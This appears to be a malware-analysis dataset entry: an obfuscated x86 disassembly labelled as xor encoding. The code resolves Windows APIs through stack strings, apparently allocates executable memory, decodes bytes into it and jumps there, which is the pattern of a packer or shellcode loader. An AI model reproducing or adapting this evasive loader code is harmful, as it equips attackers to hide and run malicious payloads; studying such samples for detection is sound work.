Function at 0x43050f
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [eax + 1]
mov edx, 0x3dfe0050
mov ebx, 0xc201ffa4
xor edx, ebx
sub ecx, edx
mov edi, 0x434d9397
mov esi, 0x434d9397
xor esi, edi
xor esi, ecx
mov eax, 0xffffffeb
add esi, eax
mov edx, 0x6c33e753
mov edi, 0x93cc18ac
xor edx, edi
add esi, edx
mov ebx, dword [esi + 0x16]
mov edx, 0x46224de8
xor edx, 0x658b3402
mov ecx, 0x2204102
mov esi, 0x218938e4
xor ecx, esi
xor ecx, edx
add ebx, ecx
xor edi, edi
add edi, ebx
mov ecx, 0x451c396e
xor ecx, 0x451c396a
sub esp, ecx
mov dword [esp], edi
pop ecx
push 0xbd5d33b6
mov edx, 0x42a2cc4a
pop edi
xor edx, edi
add esp, edx
mov ebx, 0x1e30faae
xor ebx, 0x1e30faae
xor ebx, esp
mov dword [ebx], ecx
mov edx, dword [ecx]
mov eax, edx
push eax
pop edi
sub edi, 0xffffffc4
mov ecx, dword [edi - 0x3c]
push 0x554e3c05
mov edx, 0xd67b92c
pop esi
xor edx, esi
push edx
push 0x2cca3cc
mov ebx, 0x5ae526c9
pop edx
xor ebx, edx
pop eax
xor ebx, eax
add ecx, ebx
mov ebx, ecx
add esp, 0xfffffffc
mov dword [esp], ebx
pop edx
sub edx, 0xffffffb1
mov eax, dword [edx - 0x4f]
and eax, 0xffff
mov edx, 0x44a44230
mov edi, 0x300a0402
xor edx, edi
push edx
mov esi, 0x6a755f6f
xor esi, 0x49edf979
pop ebx
xor esi, ebx
xor eax, esi
mov edx, 0x4614c034
mov edi, 0x11222008
xor edx, edi
xor eax, edx
xor edx, edx
add edx, eax
xor edx, 0
jne 0x43064c
push 0xc8a2f1fa
mov edi, 0x5d37e52a
pop ebx
xor edi, ebx
push edi
mov edi, 0x15f4a00e
mov edx, 0x7f9e4b22
xor edx, edi
pop esi
xor edx, esi
sub ecx, edx
mov ebx, dword [ecx]
push ebx
pop edx
push edx
pop ecx
mov edi, 0xfffffffc
add esp, edi
mov edx, esp
mov esi, edx
mov dword [esi], ecx
mov eax, 0
xor eax, ebx
xor edi, edi
add edi, eax
sub edi, 0x2e
mov edx, dword [edi + 0x2e]
and edx, 0xff
mov ecx, 0x5788e3b8
mov edi, 0x2face3be
xor edi, ecx
mov eax, 0x4fc218d5
xor edi, eax
xor edx, edi
push edx
pop eax
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0xffffffff
and eax, 0
or eax, ebx
and eax, 0x37e618b8
and edx, 0xc819e747
or edx, eax
mov ecx, edx
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], ecx
pop edi
or edi, edx
je 0x430536
mov edi, 0x70010208
mov eax, 0x56089e2
xor edi, eax
mov esi, 0x14bc7268
xor esi, 0x54dad9a9
xor esi, edi
xor edx, esi
xor ecx, ecx
add ecx, edx
mov edi, 0xffffffff
xor ecx, edi
and ecx, 0x3507200b
and edx, 0xcaf8dff4
or edx, ecx
xor ecx, ecx
add ecx, edx
or ecx, 0
jne 0x43064b
pop edi
mov eax, 0x2b39e942
mov ebx, 0x16066586
xor ebx, eax
mov esi, 0xc2c0733e
xor ebx, esi
sub edi, ebx
xor esi, esi
add esi, edi
mov edx, 0
mov eax, 4
xor edx, eax
sub esp, edx
mov dword [esp], esi
mov eax, dword [edi]
and eax, 0xff
push 0x471a22fe
mov ecx, 0x3c564e98
pop ebx
xor ecx, ebx
push 0x5ea46eec
mov edi, 0x25e802c4
pop edx
xor edi, edx
xor edi, ecx
xor eax, edi
cmp eax, 0
je 0x4305ce
mov edi, 0xa11b0b4
add edi, 0x52
push edi
mov edi, 0x304b9650
mov esi, 0x413b317f
xor esi, edi
pop ecx
xor esi, ecx
xor eax, esi
push 0x13978243
mov ebx, 0x68f6944a
pop edx
xor ebx, edx
xor eax, ebx
push eax
pop ebx
mov edi, ebx
push edi
pop esi
xor esi, 0
jne 0x43064b
pop esi
push 0x3407bcc9
mov edx, 0x40a82e38
pop eax
xor edx, eax
mov edi, 0x7659419f
xor edi, 0xfd092c94
xor edi, edx
sub esi, edi
push 0x71aa4f4b
mov eax, 0x71aa4f4b
pop edx
xor eax, edx
xor eax, esi
sub eax, 0xffffffc4
mov edi, dword [eax - 0x3c]
mov eax, 0x669bb05c
xor eax, 0x669bb05c
xor eax, edi
mov ebx, 0x198939e5
mov ecx, 0xe676c61a
xor ebx, ecx
xor eax, ebx
and eax, 0x320033
and edi, 0xffcdffcc
or edi, eax
xor eax, eax
add eax, edi
mov esi, 0x725e77e1
xor esi, 0x725e77e1
xor esi, eax
and esi, 0xffffffff
je 0x43067b
jmp 0x43064c
pop esi
pop edi
xor edx, edx
add edx, edi
mov esi, 0x26616930
xor esi, 0xd99e96cf
add edx, esi
mov ebx, dword [edx + 1]
push 0x68c57ac5
mov esi, 0x68c57ac1
pop edi
xor esi, edi
sub esp, esi
xor ecx, ecx
add ecx, esp
mov dword [ecx], ebx
jmp 0x4303be
pop ecx
mov eax, 0
mov esi, 0
xor eax, esi
xor eax, ecx
dec eax
mov edx, dword [eax + 1]
xor esi, esi
add esi, edx
mov edi, esi
mov ebx, edi
mov edi, 0x9fdbea0
mov esi, 0xf6024140
xor esi, edi
add ebx, esi
dec ebx
mov ecx, dword [ebx + 0x21]
push 0x30f7c185
mov esi, 0x7daeef7
pop ebx
xor esi, ebx
mov edx, 0x2594583a
xor edx, 0xed4688a0
xor edx, esi
sub ecx, edx
mov esi, dword [ecx]
mov eax, 0
xor eax, esi
mov edi, eax
mov eax, 0x6f3cd5f4
xor eax, 0x90c32a08
add esp, eax
mov dword [esp], edi
mov eax, 4
sub esp, eax
mov eax, esp
mov edx, eax
mov dword [edx], esi
pop edi
push 0x8700081a
mov esi, 0x55f070e7
pop ebx
xor esi, ebx
push esi
push 0x6126506f
mov eax, 0x4c29d756
pop ecx
xor eax, ecx
pop edx
xor eax, edx
sub edi, eax
mov eax, edi
push 0x178256b0
mov ecx, 0x178256b1
pop edx
xor ecx, edx
sub eax, ecx
mov ebx, dword [eax + 1]
mov ecx, esp
add esp, 0xfffffffc
mov dword [esp], ecx
pop edx
sub edx, 0
mov eax, dword [edx]
add ebx, eax
mov ecx, 0x2bc9053b
xor ecx, 0x97fe3528
push ecx
mov esi, 0x1c8ca93
mov ecx, 0x42000508
xor esi, ecx
pop eax
xor esi, eax
sub ebx, esi
mov edx, ebx
push edx
pop ecx
mov esi, 0xffffffa5
add ecx, esi
mov esi, 0xec384d4
xor esi, 0xec384d5
sub ecx, esi
mov ebx, dword [ecx + 0x5c]
mov esi, esp
push esi
pop eax
sub eax, 0xffffff9c
mov edi, dword [eax - 0x64]
add ebx, edi
push 0x51009139
mov edi, 0x51009119
pop ecx
xor edi, ecx
add ebx, edi
mov edx, 0x200008a
mov edi, 0x1b04100
xor edx, edi
mov esi, 0x3c3717cd
xor edx, esi
xor edx, 0x8c8da83
push 0x519bea3c
mov ecx, 0x1641d2da
pop edi
xor ecx, edi
mov esi, 0xee02d361
xor ecx, esi
xor ecx, 0x616898bf
xor edx, ecx
add edx, ebx
mov ecx, 0
mov esi, 0
xor ecx, esi
xor ecx, edx
push 0xaf261dd8
mov esi, 0x50d9e209
pop edi
xor esi, edi
sub ecx, esi
mov esi, 1
sub ecx, esi
mov edx, dword [ecx - 0x2e]
push 0x5791067c
mov esi, 0x5791067c
pop edi
xor esi, edi
xor esi, esp
sub esi, 0xffffffbd
mov ecx, dword [esi - 0x43]
add edx, ecx
mov eax, edx
mov ecx, eax
xor esi, esi
add esi, ecx
xor ecx, ecx
add ecx, esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ecx
push 0x17b79fe2
mov ecx, 0x5c7a946c
pop esi
xor ecx, esi
mov edx, 0x38381a6a
xor edx, 0x7fecb034
xor edx, ecx
mov esi, 0x801a184
mov ecx, 0x4180050
xor esi, ecx
xor edx, esi
add edx, ebx
push 0x70e42724
mov esi, 0x70e42724
pop ecx
xor esi, ecx
xor esi, edx
sub esi, 0x19
mov edx, dword [esi + 0x19]
mov esi, dword [esp + 4]
add edx, esi
push 0xa5c058bc
mov edi, 0x5a3fa740
pop eax
xor edi, eax
add esp, edi
xor esi, esi
add esi, esp
mov dword [esi], edx
mov edx, ebx
mov ecx, 0x24a47297
mov esi, 0xdb5b8d53
xor esi, ecx
add edx, esi
mov esi, 1
sub edx, esi
mov ebx, dword [edx + 0x3d]
mov esi, dword [esp + 8]
add ebx, esi
mov eax, dword [ebx]
mov edx, dword [esp + 8]
add eax, edx
push 0x5b869f89
mov edx, 0x7df620e8
pop esi
xor edx, esi
mov ecx, 0x205174d0
xor ecx, 0x621cbb4
xor ecx, edx
add eax, ecx
xor ecx, ecx
add ecx, eax
sub ecx, 0x61
mov eax, dword [ecx + 0x61]
mov edx, 0x5cb904d9
mov ecx, 0xdd338a2
xor ecx, edx
mov edx, 0x352b5f14
xor ecx, edx
xor eax, ecx
push 0x6ae256f9
mov edx, 0x2165f354
pop esi
xor edx, esi
push 0x49cdc9fc
mov ecx, 0x24a6c51
pop esi
xor ecx, esi
xor ecx, edx
xor ecx, eax
xor ecx, 0
je 0x430953
mov eax, 0xc4f3bcff
add eax, 0x7d
push eax
mov eax, 0x134de73b
mov ecx, 0x2841a5bb
xor ecx, eax
pop edi
xor ecx, edi
sub ebx, ecx
pop ecx
push 0x986aeb
mov edi, 0x739d3857
pop edx
xor edi, edx
mov eax, 0xc588d40
mov edx, 0x80a22002
xor eax, edx
xor eax, edi
sub ecx, eax
mov edi, 0x66989d72
mov edx, 0x66989d72
xor edx, edi
xor edx, ecx
push 0xafda8193
mov esi, 0x50257e6f
pop edi
xor esi, edi
add esp, esi
mov dword [esp], edx
jmp 0x430887
pop edi
xor ecx, ecx
add ecx, edi
sub ecx, 0xffffffc5
mov edi, dword [ecx - 0x3b]
and edi, 0xffff
add edi, edi
xor ecx, ecx
add ecx, edi
add edi, ecx
pop edx
add edx, edi
mov esi, edx
sub esi, 0x14
mov edx, dword [esi + 0x14]
pop ecx
add edx, ecx
xor edi, edi
add edi, edx
xor eax, eax
add eax, edi
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], eax
mov esi, 0x21c89efa
xor esi, 0xa7e5fdfa
push esi
push 0x109927be
mov esi, 0x51e055df
pop edi
xor esi, edi
push esi
push 0x1124d429
mov edi, 0x6346bd65
pop esi
xor edi, esi
push edi
mov edi, 0x64616eff
add edi, 0x4d
push edi
xor esi, esi
add esi, esp
mov ebx, 4
sub esp, ebx
mov dword [esp], esi
mov edi, 0
mov esi, 0
xor edi, esi
xor edi, ecx
push 0x6696a325
mov eax, 0x6696a321
pop esi
xor eax, esi
sub esp, eax
mov dword [esp], edi
call edx
mov ecx, 0x10abe19d
xor ecx, 0x10abe18d
push 0x319e2835
mov ebx, 0x319e2835
pop edi
xor ebx, edi
xor ecx, ebx
add esp, ecx
mov ecx, 0xfffffffc
add esp, ecx
xor ecx, ecx
add ecx, esp
mov edi, 0
xor edi, ecx
mov dword [edi], eax
call fcn.00430dd3
mov esi, 0x72457859
xor esi, 0xd56e6bc1
push esi
mov esi, 0x5f62683f
mov ecx, 0x7b68459
xor ecx, esi
pop edx
xor ecx, edx
sub ebx, ecx
mov ecx, ebx
mov edx, ecx
mov edi, edx
mov ecx, 0x6659df1a
xor ecx, 0x99a620e6
add esp, ecx
mov dword [esp], edi
mov ebx, 0xb20500
mov edx, 0x15200
xor ebx, edx
push ebx
push 0x7dc549f4
mov edi, 0x1eaa2598
pop ecx
xor edi, ecx
push edi
mov ecx, 0x1684054
mov edi, 0x40042121
xor ecx, edi
push ecx
mov edi, 0x747268b8
add edi, 0x9e
push edi
mov esi, 0xd030200
mov edi, 0xd244f800
xor esi, edi
push esi
mov edi, 0x32336b69
add edi, 0xfc
push edi
mov edi, 0x6e726515
add edi, 0x36
push edi
mov ebx, dword [esp + 0x20]
mov ecx, 0x401578c7
xor ecx, 0x401578c7
xor ecx, esp
mov esi, 0x124575ce
xor esi, 0x124575ca
sub esp, esi
mov dword [esp], ecx
call ebx
push 0x70b4f1bd
mov ecx, 0x70b4f1b9
pop esi
xor ecx, esi
mov edx, 8
mov esi, 0
xor edx, esi
xor ecx, edx
add esp, ecx
mov esi, esp
push esi
pop edi
mov edx, edi
add esp, 0xfffffffc
mov dword [esp], edx
mov edi, 4
sub esp, edi
xor esi, esi
add esi, esp
mov dword [esi], eax
mov ebx, dword [esp + 0x20]
call ebx
mov edi, 0x73e94d23
xor edi, 0x4d779b7e
mov ebx, 0x542506e1
mov esi, 0x95442f4c
xor esi, ebx
xor esi, edi
sub esp, esi
mov edi, 0xfffffff0
add edi, 0x50
push edi
mov ebx, 0xff0
add ebx, 0x10
push ebx
mov edi, 0xe60a
add edi, 0xbc
push edi
mov esi, 0x56ecb
xor esi, 0x56ecb
push esi
call eax
pop ecx
mov ebx, eax
mov esi, 0x722e53d5
mov edi, 0x722e53d1
xor edi, esi
sub esp, edi
mov edx, 0xf1d8d8d
xor edx, 0xf1d8d8d
xor edx, esp
mov dword [edx], ebx
push ecx
pop esi
xor edx, edx
add edx, esi
mov esi, 0
mov edi, 4
xor esi, edi
sub esp, esi
mov dword [esp], edx
mov eax, 0x681d2fda
mov edx, 0xdee9da
xor edx, eax
push 0x9e53973c
mov esi, 0x96fae3c
pop edi
xor esi, edi
xor edx, esi
sub ecx, edx
mov edx, 0xe664
add edx, 0x58
push edx
mov dl, byte [ecx]
mov byte [ebx], dl
mov eax, 0x6d288096
xor eax, 0x6d288097
mov edi, 0x48a368c1
xor edi, 0x48a368c1
xor eax, edi
add ecx, eax
mov edx, 1
mov eax, 0
xor edx, eax
add ebx, edx
pop edx
mov edi, 0x11248002
mov eax, 0x485168cc
xor edi, eax
mov esi, 0x2102e861
xor esi, 0x8788ff50
xor esi, edi
add edx, esi
mov esi, 0
mov edi, 0
xor esi, edi
xor esi, edx
mov edi, 0x1ce6b23
mov eax, 0x1ce6b27
xor eax, edi
sub esp, eax
mov dword [esp], esi
mov edi, edx
mov eax, edi
mov esi, eax
and esi, edx
jne 0x430bbd
pop eax
mov esi, 0x2a81729
mov ebx, 0x39e22e25
xor ebx, esi
mov eax, 0x759f151c
xor eax, 0x453cf490
xor eax, ebx
push eax
pop edx
mov esi, 0xffffffff
xor edx, esi
and edx, 0xbe93e3c
and eax, 0xf416c1c3
or eax, edx
pop ecx
pop esi
mov ebx, 0x60d22
mov edi, 0x2460c054
xor ebx, edi
mov edx, 0x63193f28
xor edx, 0xb880eb1b
xor edx, ebx
sub esi, edx
mov edi, 0xbf185f0
xor edi, 0xf40e7a0c
add esp, edi
mov ebx, 0
mov edx, 0
xor ebx, edx
xor ebx, esp
mov dword [ebx], eax
xor edi, edi
add edi, ecx
add esp, 0xfffffffc
mov edx, esp
mov ebx, edx
mov dword [ebx], edi
xor edx, edx
add edx, esi
mov ebx, 0x1c733b83
mov edi, 0xe38cc47f
xor edi, ebx
add esp, edi
mov dword [esp], edx
xor eax, eax
mov al, byte [esi]
add ecx, eax
mov al, byte [ecx]
pop esi
pop ecx
mov byte [esi], al
push 0x5a965ecd
mov ebx, 0x4980480d
pop edi
xor ebx, edi
mov edx, 0x42537b60
xor edx, 0x51456da1
xor edx, ebx
sub esi, edx
pop eax
push 0x5a8d1d30
mov edx, 0x5a8d1d31
pop ebx
xor edx, ebx
sub eax, edx
test eax, eax
jne 0x430c80
mov edi, 0xd6f1118
xor edi, 0x71bb51ff
push edi
mov ecx, 0x74844042
mov edi, 0x85000a4
xor ecx, edi
pop edx
xor ecx, edx
add esi, ecx
xor edi, edi
add edi, esi
mov ecx, 0x5e28ec6c
mov edx, 0xa1d71390
xor ecx, edx
add esp, ecx
mov dword [esp], edi
pop eax
call eax
mov edx, 0x5ae7328e
mov eax, 0x4209529b
xor eax, edx
mov ecx, 0x22028a68
mov edx, 0x83480
xor ecx, edx
xor ecx, eax
pop ebx
mov edx, 0x5c534ef3
xor edx, 0x92faf6c
push edx
mov eax, 0x64a000
mov edx, 0x74005288
xor eax, edx
pop ecx
xor eax, ecx
push 0x4968de90
mov ecx, 0x1c5dea20
pop edx
xor ecx, edx
xor eax, ecx
pop edi
mov edx, 0x31c86ae9
mov eax, 0x689c8d22
xor eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6f4454ce
and eax, 0x90bbab31
or eax, edx
mov ecx, 0x820022
mov edx, 0x8050008
xor ecx, edx
xor eax, ecx
pop esi
ret